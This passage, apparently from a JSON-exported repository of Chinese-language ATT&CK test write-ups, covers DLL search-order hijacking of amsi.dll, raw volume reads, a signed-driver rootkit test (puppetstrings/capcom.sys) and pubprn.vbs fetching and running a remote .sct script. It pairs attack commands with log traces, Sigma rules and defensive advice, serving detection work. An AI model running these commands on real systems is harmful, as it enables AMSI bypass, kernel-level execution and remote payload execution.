    "content": "# T1574.001-Win-劫持执行流程-DLL搜索顺序劫持\n\n## 来自ATT&CK的描述\n\n攻击者可通过劫持Windows用于加载DLL的搜索顺序来执行恶意负载。Windows系统采用标准方法查找程序所需的DLL文件。劫持DLL加载可用于实现持久化、特权提升或绕过文件执行限制。\n\n攻击者可通过以下方式劫持DLL加载：\n1. **放置恶意DLL**：将特洛伊木马DLL放置在优先于合法DLL的搜索路径中，导致Windows加载恶意DLL。\n2. **DLL预加载（二进制植入）**：将恶意DLL放置在合法DLL搜索路径之前的目录中，并与模糊指定的DLL同名。通常，程序的当前工作目录是高优先级位置。\n3. **远程DLL预加载**：当程序将当前工作目录设置为远程位置（如Web共享）时，加载远程恶意DLL。\n4. **修改加载方式**：通过替换现有DLL、修改`.manifest`或`.local`重定向文件、目录或联结，直接改变程序的DLL加载行为。\n\n如果被劫持的程序以高特权级别（如管理员或SYSTEM）运行，恶意DLL也将以相同权限执行，从而实现特权提升。由于恶意DLL可能同时加载合法DLL，受影响的程序可能表现正常，增加检测难度。\n\n## 测试案例\n\n### 测试1：DLL Search Order Hijacking - amsi.dll\n\n攻击者可利用PowerShell不安全的DLL加载机制，加载脆弱版本的`amsi.dll`，以绕过反恶意软件扫描接口（AMSI）。参考：<https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/>\n\n**攻击效果**：`powershell.exe`被复制并重命名为`updater.exe`，并从非标准路径加载`amsi.dll`。\n\n**攻击命令**（需以管理员权限运行）：\n```batch\ncopy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit\n```\n\n**清理命令**：\n```batch\ndel %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n```\n\n## 检测日志\n\n- **Windows Sysmon日志**：捕获进程加载的DLL相关事件（Event ID 7）。\n- **Windows安全日志**：监控文件创建、修改或删除事件（需启用相应审核策略）。\n\n## 测试复现\n\n### 测试1：DLL Search Order Hijacking - amsi.dll\n\n以下为测试复现过程，基于Windows 10环境：\n\n```cmd\nMicrosoft Windows [版本 10.0.17763.973]\n(c) 2018 Microsoft Corporation。保留所有权利。\n\nC:\\Users\\Administrator.ZHULI>copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\n已复制         1 个文件。\n\nC:\\Users\\Administrator.ZHULI>copy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n已复制         1 个文件。\n\nC:\\Users\\Administrator.ZHULI>%APPDATA%\\updater.exe -Command exit\n\nC:\\Users\\Administrator.ZHULI>del %APPDATA%\\updater.exe >nul 2>&1\n\nC:\\Users\\Administrator.ZHULI>del %APPDATA%\\amsi.dll >nul 2>&1\n\nC:\\Users\\Administrator.ZHULI>\n```\n\n**说明**：\n- 上述命令模拟了将`powershell.exe`和`amsi.dll`复制到用户目录（`%APPDATA%`），并以非标准路径运行`updater.exe`，触发DLL搜索顺序劫持。\n- 清理命令确保测试环境恢复原状。\n\n## 测试留痕\n\n### 测试1：DLL Search Order Hijacking - amsi.dll\n\n**Windows Sysmon日志**（Event ID 7）：\n\n```xml\nEvent ID: 7\nImage loaded:\nRuleName: technique_id=T1059.001,technique_name=PowerShell\nUtcTime: 2022-01-13 08:49:39.694\nProcessGuid: {78c84c47-e7a3-61df-9a02-000000000900}\nProcessId: 1044\nImage: C:\\Users\\Administrator.ZHULI\\AppData\\Roaming\\updater.exe\nImageLoaded: C:\\Users\\Administrator.ZHULI\\AppData\\Roaming\\amsi.dll\nFileVersion: 10.0.17763.1 (WinBuild.160101.0800)\nDescription: Anti-Malware Scan Interface\nProduct: Microsoft® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: amsi.dll\nHashes: SHA1=B7B7398DB0EDCE2C39A964096B009F60C544DC29,MD5=21EAA9941DB9CA4B41A5FFCBFE4CA9A5,SHA256=F675D2A8686A7CFD7A7056AC490E159A17D6B728420CF15C4EE26C670437370A,IMPHASH=11E9179F7B8A676A1110DA8E334D75BE\nSigned: true\nSignature: Microsoft Windows\nSignatureStatus: Valid\nUser: ZHULI\\Administrator\n```\n\n**留痕分析**：\n- 事件显示`updater.exe`加载了非标准路径（`%APPDATA%`）下的`amsi.dll`，表明DLL搜索顺序被劫持。\n- 攻击者可能替换`amsi.dll`为恶意版本，Sysmon日志可捕获异常路径的DLL加载行为。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Suspicious DLL Search Order Hijacking\ndescription: Detects potential DLL search order hijacking by monitoring processes loading DLLs from non-standard or user-writable directories.\nauthor: xAI Security Team\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1574/001/\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 7\n    ImageLoaded|contains:\n      - '\\AppData\\'\n      - '\\Temp\\'\n      - '\\Users\\'\n    ImageLoaded|endswith: '.dll'\n  filter:\n    ImageLoaded|contains:\n      - '\\Windows\\System32\\'\n      - '\\Windows\\SysWOW64\\'\n      - '\\Program Files\\'\n      - '\\Program Files (x86)\\'\n  condition: selection and not filter\nfields:\n  - Image\n  - ImageLoaded\n  - User\nfalsepositives:\n  - Legitimate applications loading DLLs from user directories\n  - Software updates or installations\nlevel: medium\n```\n\n**规则说明**：\n- 检测从用户可写目录（如`%APPDATA%`、`%TEMP%`）加载DLL的行为，同时排除标准系统路径（如`System32`、`Program Files`）。\n- 需结合环境测试，调整`falsepositives`以减少误报。\n\n### 建议\n\n1. **监控文件系统活动**：\n   - 使用Sysmon或类似工具监控DLL文件的创建、移动、重命名或替换行为。\n   - 关注与已知软件更新或补丁无关的DLL修改。\n\n2. **检测异常DLL加载**：\n   - 监控进程加载的DLL，检测文件名相同但路径异常的情况（如`%APPDATA%\\amsi.dll`）。\n   - 检查`.manifest`或`.local`重定向文件的创建或修改。\n\n3. **限制DLL加载路径**：\n   - 配置应用程序使用安全的DLL搜索顺序（如启用SafeDllSearchMode）。\n   - 使用Windows AppLocker或类似工具限制未签名的DLL加载。\n\n4. **启用详细日志**：\n   - 配置Sysmon记录Event ID 7（模块加载），确保捕获所有DLL加载事件。\n   - 启用Windows文件审核策略，监控用户目录中的DLL文件操作。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）结合Sigma规则，实时分析Sysmon日志。\n   - 设置告警规则，针对非标准路径的DLL加载行为发出警告。\n\n6. **定期审计高特权进程**：\n   - 检查以管理员或SYSTEM权限运行的进程，验证其加载的DLL路径是否可信。\n   - 使用工具（如Process Explorer）分析进程的DLL依赖关系。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1574.001\n  <https://attack.mitre.org/techniques/T1574/001/>\n- Atomic Red Team T1574.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.001/T1574.001.md>\n- Bypassing AMSI via COM Server Hijacking  \n  <https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/>\n- Microsoft DLL Search Order Documentation  \n  <https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order>\n"
  },
  {
    "path": "Windows/07逃避防御/T1006-win-直接访问卷.md",
    "content": "# T1006-Win-直接访问卷\n\n## 描述\n\n攻击者可以通过直接访问逻辑卷来绕过文件访问控制和文件系统监控工具。Windows允许程序以直接方式访问逻辑卷，拥有直接访问权限的程序可以通过解析文件系统的数据结构，直接从驱动器中读写文件。这种技术能够绕过Windows的文件访问控制机制以及文件系统监控工具。\n\n例如，诸如`NinjaCopy`之类的工具可以在PowerShell中实现此类操作，通过直接访问卷来复制文件，而无需通过标准文件系统API。\n\n## 测试案例\n\n### 测试1：通过PowerShell读取卷引导扇区\n\n此测试利用PowerShell通过DOS设备路径直接访问卷，读取卷的前几个字节。成功执行后，将显示卷前11个字节的十六进制转储。对于NTFS卷，其输出应符合NTFS分区引导扇区的结构：\n\n```yaml\n           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000   EB 52 90 4E 54 46 53 20 20 20 20                 ëRNTFS\n```\n\n**攻击命令**（需以管理员权限在PowerShell中运行）：\n\n```powershell\n$buffer = New-Object byte[] 11\n$handle = New-Object IO.FileStream \"\\\\.\\C:\", 'Open', 'Read', 'ReadWrite'\n$handle.Read($buffer, 0, $buffer.Length)\n$handle.Close()\nFormat-Hex -InputObject $buffer\n```\n\n## 检测日志\n\n暂无。本地复现测试表明，Windows安全日志、PowerShell操作日志以及Sysmon日志均未记录该命令的执行情况。\n\n## 测试复现\n\n### 测试1：通过DOS设备路径读取卷引导扇区（PowerShell）\n\n以下为在Windows 10环境中的复现过程：\n\n```powershell\nPS C:\\Windows\\system32> $buffer = New-Object byte[] 11\nPS C:\\Windows\\system32> $handle = New-Object IO.FileStream \"\\\\.\\C:\", 'Open', 'Read', 'ReadWrite'\nPS C:\\Windows\\system32> $handle.Read($buffer, 0, $buffer.Length)\n11\nPS C:\\Windows\\system32> $handle.Close()\nPS C:\\Windows\\system32> Format-Hex -InputObject $buffer\n\n           00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000   EB 52 90 4E 54 46 53 20 20 20 20                 ëRNTFS\n\nPS C:\\Windows\\system32>\n```\n\n**说明**：\n- 上述命令通过PowerShell直接访问C:卷的引导扇区，读取前11个字节并以十六进制格式输出。\n- 输出结果符合NTFS卷的引导扇区结构，证明命令执行成功。\n\n## 日志留痕\n\n暂无。本地测试未在Windows安全日志、PowerShell日志或Sysmon日志中发现相关记录。\n\n## 检测规则/思路\n\n### 建议\n\n1. **监控卷访问行为**：\n   - 监控进程打开逻辑驱动器卷的行为，识别直接访问逻辑驱动器的异常操作。\n   - 使用Sysmon配置，记录进程打开的句柄（Event ID 9），关注访问`\\\\.\\`设备的句柄。\n\n2. **监控命令行参数**：\n   - 检查PowerShell或其他进程的命令行参数，检测类似`\\\\.\\`路径的访问行为。\n   - 关注涉及直接卷访问的异常PowerShell脚本执行。\n\n3. **增强PowerShell日志记录**：\n   - 启用PowerShell模块日志记录（Module Logging）、脚本块日志记录（Script Block Logging）以及转录日志（Transcription Logging）。\n   - 监控PowerShell中`IO.FileStream`或类似API的调用。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）收集和分析Sysmon日志，检测异常的卷访问行为。\n   - 设置告警规则，针对非标准进程（如PowerShell）访问`\\\\.\\`设备的操作。\n\n5. **限制直接卷访问**：\n   - 使用组策略限制非管理员账户对逻辑卷的直接访问。\n   - 部署应用程序白名单（如AppLocker），限制未授权程序执行卷访问操作。\n\n6. **测试与验证**：\n   - 在测试环境中复现直接卷访问行为，验证检测规则的有效性。\n   - 根据环境调整规则阈值，减少误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1006  \n  <https://attack.mitre.org/techniques/T1006>\n- Atomic Red Team T1006  \n  <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1006>\n"
  },
  {
    "path": "Windows/07逃避防御/T1014-win-Rootkit.md",
    "content": "# T1014-Win-Rootkit\n\n## 描述\n\n攻击者可能利用rootkit隐藏程序、文件、网络连接、服务、驱动程序及其他系统组件的存在。Rootkit通过拦截、钩挂和修改操作系统API调用来隐藏恶意软件的存在，从而规避系统信息的正常报告。Rootkit可能运行于操作系统的用户层或内核层，甚至更低层次，如管理程序、主引导记录（MBR）或系统固件。在Windows、Linux和Mac OS X系统中均已发现rootkit的踪迹。\n\n## 测试案例\n\n### 测试1：Windows签名驱动程序Rootkit测试\n\n此测试利用已签名的驱动程序（如`capcom.sys`）在内核中执行代码，模拟rootkit行为以隐藏进程。测试工具为`puppetstrings.exe`，结合易受攻击的签名驱动程序`capcom.sys`（SHA1: C1D5CF8C43E7679B782630E93F5E6420CA1749A7）。PoC漏洞利用程序的哈希值为SHA1: DD8DA630C00953B6D5182AA66AF999B1E117F441。\n\n**攻击命令**（需以管理员权限在命令提示符中运行）：\n```batch\n#{puppetstrings_path} #{driver_path}\n```\n\n- `driver_path`: `C:\\Drivers\\driver.sys`\n- `puppetstrings_path`: `PathToAtomicsFolder\\T1014\\bin\\puppetstrings.exe`\n\n**依赖性检查**（使用PowerShell运行）：\n```powershell\nif (Test-Path #{puppetstrings_path}) {exit 0} else {exit 1}\n```\n\n**获取依赖性**（使用PowerShell下载`puppetstrings.exe`）：\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1014/bin/puppetstrings.exe\" -OutFile \"#{puppetstrings_path}\"\n```\n\n## 检测日志\n\n本地复现测试表明，Windows安全日志、PowerShell操作日志未记录相关行为，但Sysmon日志可捕获部分活动（详见“日志留痕”）。\n\n## 测试复现\n\n### 测试1：Windows签名驱动程序Rootkit测试\n\n以下为在Windows Server 2019环境中的复现尝试：\n\n```powershell\nPS C:\\Windows\\system32> C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1014\\bin\\puppetstrings.exe C:\\Drivers\\driver.sys\nLook for process in tasklist.exe\n请按任意键继续. . .\npuppetstrings failed - error: 00000003\n请按任意键继续. . .\n```\n\n**复现结果**：\n- 测试未成功，错误代码`00000003`可能表明驱动程序加载失败或环境配置问题。\n- 建议在测试环境中验证`capcom.sys`驱动的兼容性，并确保驱动文件存在于指定路径。\n\n## 日志留痕\n\n### Sysmon日志（Event ID 1：进程创建）\n\n以下为Sysmon记录的`puppetstrings.exe`执行行为：\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2022/1/10 14:58:52\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n关键字:\n用户: SYSTEM\n计算机: zhuli.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1086,technique_name=PowerShell\nUtcTime: 2022-01-10 06:58:52.494\nProcessGuid: {78c84c47-d92c-61db-450c-000000000800}\nProcessId: 7608\nImage: C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1014\\bin\\puppetstrings.exe\nFileVersion: -\nDescription: -\nProduct: -\nCompany: -\nOriginalFileName: -\nCommandLine: \"C:\\Users\\zhuli\\Desktop\\TevoraAutomatedRTGui\\atomic-red-team-master\\atomics\\T1014\\bin\\puppetstrings.exe\" C:\\Drivers\\driver.sys\nCurrentDirectory: C:\\Windows\\system32\\\nUser: QAX\\Administrator\nLogonGuid: {78c84c47-d270-61db-d56a-010100000000}\nLogonId: 0x1016AD5\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=DD8DA630C00953B6D5182AA66AF999B1E117F441,MD5=676ED2C5D31006FC4CBC1B0E0D564F4F,SHA256=1184228AC822F0F8C7C8242325052F91B500AD7C08E4A9B266211E8E623CAE8E,IMPHASH=1B1B5BBC1BB70593CD761304457481AC\nParentProcessGuid: {78c84c47-d270-61db-4a0b-000000000800}\nParentProcessId: 4560\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nParentCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- Sysmon记录了`puppetstrings.exe`的进程创建事件，包括命令行参数和文件哈希。\n- 未记录驱动程序加载或内核级操作的详细行为，可能需额外配置Sysmon或使用其他工具（如驱动监控）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Suspicious Signed Driver Rootkit Activity\ndescription: Detects execution of processes associated with signed driver rootkits, such as those using puppetstrings.exe or similar tools.\nreferences:\n  - https://attack.mitre.org/techniques/T1014/\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\puppetstrings.exe'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - User\n  - Hashes\nfalsepositives:\n  - Legitimate use of signed drivers for system maintenance\nlevel: high\n```\n\n**规则说明**：\n- 检测运行`puppetstrings.exe`的进程创建事件，可能指示rootkit相关活动。\n- 需结合环境测试，调整误报过滤条件（如排除合法驱动程序维护工具）。\n\n### 建议\n\n1. **部署反rootkit工具**：\n   - 使用专用rootkit检测工具（如GMER、RootkitRevealer）扫描系统，识别异常的内核模块或API钩子。\n   - 定期运行反病毒软件，检查是否存在已知rootkit行为。\n\n2. **监控驱动程序加载**：\n   - 配置Sysmon记录驱动程序加载事件（Event ID 6），关注非标准路径或未签名驱动的加载。\n   - 使用Windows事件日志监控`Microsoft-Windows-Kernel-PnP`通道，检测新驱动安装。\n\n3. **检查系统完整性**：\n   - 定期验证主引导记录（MBR）、系统固件和内核模块的完整性。\n   - 监控未识别的DLL、设备或服务的注册行为。\n\n4. **增强Sysmon配置**：\n   - 启用Sysmon的驱动程序加载（Event ID 6）和模块加载（Event ID 7）记录。\n   - 关注高权限进程（如SYSTEM或Administrator）加载的异常驱动或模块。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和内核事件日志，检测rootkit相关行为。\n   - 设置告警规则，针对非标准驱动加载或`puppetstrings.exe`等工具的执行。\n\n6. **限制驱动程序安装**：\n   - 使用组策略限制非管理员账户安装驱动程序。\n   - 启用Windows驱动签名验证，防止加载未签名驱动。\n\n## 参考推荐\n\n- MITRE ATT&CK T1014  \n  <https://attack.mitre.org/techniques/T1014>\n- Atomic Red Team T1014  \n  <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1014>\n- Fuzzy Security Rootkit Tutorial  \n  <http://www.fuzzysecurity.com/tutorials/28.html>\n- Puppet Strings Rootkit PoC  \n  <https://zerosum0x0.blogspot.com/2017/07/puppet-strings-dirty-secret-for-free.html>\n"
  },
  {
    "path": "Windows/07逃避防御/T1027-win-使用pubprn.vbs下载文件(白名单) .md",
    "content": "# T1027-Win-使用pubprn.vbs下载执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用合法的、由微软签名的软件开发工具或脚本执行恶意代码，以绕过应用白名单防御机制。这些工具通常具有可信证书签名，允许在系统中以合法身份运行。`pubprn.vbs`是Windows 7及以上版本中自带的微软签名Windows Script Host（WSH）脚本，位于`C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\`，可被滥用来解析和执行恶意`.sct`（COM脚本）文件，从而下载并执行远程Payload，规避基于签名的检测。\n\n## 测试案例\n\n### 测试1：使用pubprn.vbs执行远程.sct脚本\n\n攻击者通过`pubprn.vbs`调用远程`.sct`脚本，触发恶意代码执行。以下为测试命令：\n\n**攻击命令**（在命令提示符或PowerShell中运行）：\n```cmd\n\"C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs\" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct\n```\n\n**说明**：\n- `pubprn.vbs`通过`wscript.exe`执行，解析指定的`.sct`脚本。\n- 命令中的`127.0.0.1`为占位参数，实际功能由`script:<URL>`指定的远程脚本实现。\n- 测试使用的`.sct`脚本可能包含恶意代码，需在隔离环境中运行。\n\n## 检测日志\n\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录`wscript.exe`执行`pubprn.vbs`的行为（需启用进程跟踪审核）。\n- **Sysmon日志**：通过Event ID 1（进程创建）捕获详细的命令行参数和父进程信息。\n\n## 测试复现\n\n### 测试1：使用pubprn.vbs执行远程.sct脚本\n\n在Windows 10环境中复现，需开启进程创建审核策略：\n\n```cmd\nMicrosoft Windows [版本 10.0.10240]\n(c) 2015 Microsoft Corporation. All rights reserved.\n\nC:\\Users\\ma jack>\"C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs\" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct\n```\n\n**结果**：\n- 在安装360终端管理软件的环境中，执行被拦截并提示，因安全软件检测到异常网络请求或脚本执行行为。\n- 在无防护软件的环境中，命令可能成功触发远程`.sct`脚本的执行。\n\n**环境配置**：\n- 需启用组策略：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 或者部署Sysmon以记录详细的进程创建事件。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n事件ID: 4688\nEventData\nSubjectUserSid: S-1-5-21-3061901842-4133171524-864420058-1000\nSubjectUserName: ma jack\nSubjectDomainName: DESKTOP-NJ1U3F5\nSubjectLogonId: 0x3e2c5\nNewProcessId: 0x1378\nNewProcessName: C:\\Windows\\System32\\wscript.exe\nTokenElevationType: %%1938\nProcessId: 0x14d0\nCommandLine: \"C:\\Windows\\System32\\WScript.exe\" \"C:\\Windows\\System32\\Printing_Admin_Scripts\\zh-CN\\pubprn.vbs\" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct\nTargetUserSid: S-1-0-0\nTargetUserName: -\nTargetDomainName: -\nTargetLogonId: 0x0\nParentProcessName: C:\\Windows\\System32\\cmd.exe\nMandatoryLabel: S-1-16-8192\n```\n\n**分析**：\n- 日志记录了`wscript.exe`执行`pubprn.vbs`，命令行参数包含远程`.sct`脚本URL。\n- 父进程为`cmd.exe`，表明通过命令提示符触发。\n- 远程URL的存在是可疑行为，可能指向恶意脚本。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 使用pubprn.vbs下载执行Payload\ndescription: Detects execution of pubprn.vbs, a Microsoft-signed WSH script, used to parse and execute remote .sct scripts.\nstatus: experimental\ntags:\n  - attack.defense_evasion\n  - attack.t1027\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\wscript.exe'\n    CommandLine|contains: '\\pubprn.vbs'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate use of pubprn.vbs for printer administration\nlevel: high\n```\n\n**规则说明**：\n- 检测`wscript.exe`执行`pubprn.vbs`的进程创建事件（Sysmon Event ID 1）。\n- 规则关注命令行中包含`pubprn.vbs`，特别是结合远程URL的调用。\n- 规则为实验性，需测试以减少合法打印机管理操作的误报。\n\n### 建议\n\n1. **监控pubprn.vbs执行**：\n   - 使用Sysmon（Event ID 1）捕获`wscript.exe`运行`pubprn.vbs`的事件，检查命令行是否包含`script:`或远程URL。\n   - 关注非打印机管理场景下的`pubprn.vbs`调用。\n\n2. **检测网络请求**：\n   - 监控`wscript.exe`发起的网络连接，特别是访问外部URL（如`.sct`文件）。\n   - 使用网络监控工具（如Wireshark）分析HTTP/HTTPS流量。\n\n3. **启用详细日志**：\n   - 配置Sysmon记录进程创建（Event ID 1）和网络连接（Event ID 3）。\n   - 启用Windows安全日志的进程跟踪（Event ID 4688），确保记录命令行参数。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测`pubprn.vbs`相关异常行为。\n   - 设置告警规则，针对`pubprn.vbs`结合远程URL的执行。\n\n5. **限制白名单工具滥用**：\n   - 使用AppLocker或组策略限制`pubprn.vbs`和`wscript.exe`的执行，仅允许在特定管理场景下运行。\n   - 监控非管理员用户运行`pubprn.vbs`的行为。\n\n6. **测试与验证**：\n   - 在测试环境中模拟`pubprn.vbs`执行远程`.sct`脚本，验证检测规则有效性。\n   - 调整规则阈值，排除合法打印机管理操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1027  \n  <https://attack.mitre.org/techniques/T1027/>\n- 渗透测试笔记  \n  <https://github.com/M1k0er/pentest-notes>\n- Enigma0x3的测试.sct脚本  \n  <https://gist.github.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a>\n"
  },
  {
    "path": "Windows/07逃避防御/T1027.003-Win-Ping Hex IP.md",
    "content": "# T1027.003-Win-Ping Hex IP\n\n## 描述\n\n攻击者可能通过加密、编码或其他方式混淆可执行文件或系统中传输的内容，以规避检测和分析。这种行为在多个平台和网络中常见，旨在隐藏恶意活动。\n\n有效载荷可能被压缩、存档或加密，以避免被安全工具检测到。这些有效载荷可能在初始访问阶段或后续活动中使用。某些情况下，用户需要执行特定操作（如打开文件或输入密码）以解码或解密受保护的压缩/加密文件。攻击者还可能使用脚本（如JavaScript）进行混淆。\n\n此外，攻击者可能对文件的部分内容进行编码以隐藏明文字符串，或将有效载荷拆分为多个看似无害的文件，仅在重组后显示恶意功能。命令行界面执行的命令也可能通过环境变量、别名或特定语义进行混淆，以绕过基于签名的检测和白名单机制。\n\n具体到本技术（T1027.003），攻击者可能使用十六进制编码的IP地址执行网络命令（如`ping`），以掩盖真实目标地址，增加检测难度。\n\n## 测试案例\n\n### 测试1：使用十六进制编码的IP地址执行Ping命令\n\n攻击者通过将目标IP地址编码为十六进制格式，执行`ping`命令以探测主机，从而隐藏真实目标地址，规避基于字符串匹配的检测。\n\n**攻击命令**（在命令提示符或PowerShell中运行）：\n```cmd\nping 0x7F000001\n```\n\n**说明**：\n- `0x7F000001`为IP地址`127.0.0.1`的十六进制表示，用于本地回环地址的探测。\n- 此技术可用于探测任意IP地址，只需将目标IP转换为十六进制格式。\n\n## 检测日志\n\n- **Windows安全日志**：可能记录`ping.exe`的执行事件（需启用进程创建审核）。\n- **Sysmon日志**：通过Sysmon的进程创建事件（Event ID 1）捕获`ping`命令的执行及其参数。\n\n## 测试复现\n\n### 测试1：Ping十六进制IP地址\n\n在Windows Server 2012及以上版本中复现：\n\n```cmd\nC:\\> ping 0x7F000001\n\nPinging 127.0.0.1 with 32 bytes of data:\nReply from 127.0.0.1: bytes=32 time<1ms TTL=128\nReply from 127.0.0.1: bytes=32 time<1ms TTL=128\nReply from 127.0.0.1: bytes=32 time<1ms TTL=128\nReply from 127.0.0.1: bytes=32 time<1ms TTL=128\n\nPing statistics for 127.0.0.1:\n    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),\nApproximate round trip times in milli-seconds:\n    Minimum = 0ms, Maximum = 0ms, Average = 0ms\n```\n\n![Ping复现](https://i.postimg.cc/SKRFh1KT/1.png)\n\n**说明**：\n- 命令成功执行，表明Windows解析了十六进制IP地址`0x7F000001`为`127.0.0.1`并完成探测。\n- 输出与直接使用`ping 127.0.0.1`一致，但命令行参数使用了混淆形式。\n\n## 日志留痕\n\n### Sysmon日志（Event ID 1：进程创建）\n\n![Ping日志](https://i.postimg.cc/bNh7JwJ2/ping2.png)\n\n**示例日志**（基于Sysmon Event ID 1）：\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: QAX\\Administrator\n计算机: hostname.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1027.003,technique_name=Obfuscated Files or Information\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 1234\nImage: C:\\Windows\\System32\\PING.EXE\nCommandLine: ping 0x7F000001\nCurrentDirectory: C:\\Users\\Administrator\nUser: QAX\\Administrator\nLogonGuid: {12345678-1234-5678-1234-567890123457}\nLogonId: 0x123456\nTerminalSessionId: 1\nIntegrityLevel: Medium\nHashes: SHA1=...,MD5=...,SHA256=...\nParentProcessGuid: {12345678-1234-5678-1234-567890123458}\nParentProcessId: 5678\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: cmd.exe\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- Sysmon记录了`ping.exe`的执行及其命令行参数`0x7F000001`，表明使用了十六进制编码的IP地址。\n- 日志未直接解析十六进制IP为标准格式，需结合规则进行检测。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: Ping Hex IP\ndescription: Detects execution of ping commands using hexadecimal-encoded IP addresses, indicating potential obfuscation attempts.\nreferences:\n  - https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_ping_hex_ip.yml\nstatus: experimental\nauthor: 12306Bro\ndate: 2023/10/01\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection:\n    EventID: 1\n    Image|endswith: '\\ping.exe'\n    CommandLine|contains:\n      - ' 0x'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - User\nfalsepositives:\n  - Legitimate use of hexadecimal IP addresses in network diagnostics\nlevel: high\n```\n\n**规则说明**：\n- 检测`ping.exe`执行时命令行参数包含`0x`的进程创建事件，表明可能使用了十六进制编码的IP地址。\n- 规则为实验性，需在实际环境中测试以减少误报（如合法网络诊断工具）。\n\n### 建议\n\n1. **监控命令行参数**：\n   - 使用Sysmon（Event ID 1）捕获`ping.exe`的执行，重点检查命令行参数是否包含`0x`等十六进制模式。\n   - 扩展检测至其他网络工具（如`tracert`、`netcat`）的类似行为。\n\n2. **启用详细日志**：\n   - 配置Sysmon记录进程创建事件，确保包含完整的命令行参数。\n   - 启用Windows安全日志的进程跟踪（Event ID 4688），捕获`ping.exe`相关活动。\n\n3. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和安全日志，检测十六进制IP地址的异常使用。\n   - 设置告警规则，针对短时间内多次执行`ping 0x*`的行为。\n\n4. **解析十六进制IP**：\n   - 在SIEM或脚本中加入IP地址解析逻辑，将`0x`格式的IP转换为标准点分十进制格式，便于关联分析。\n   - 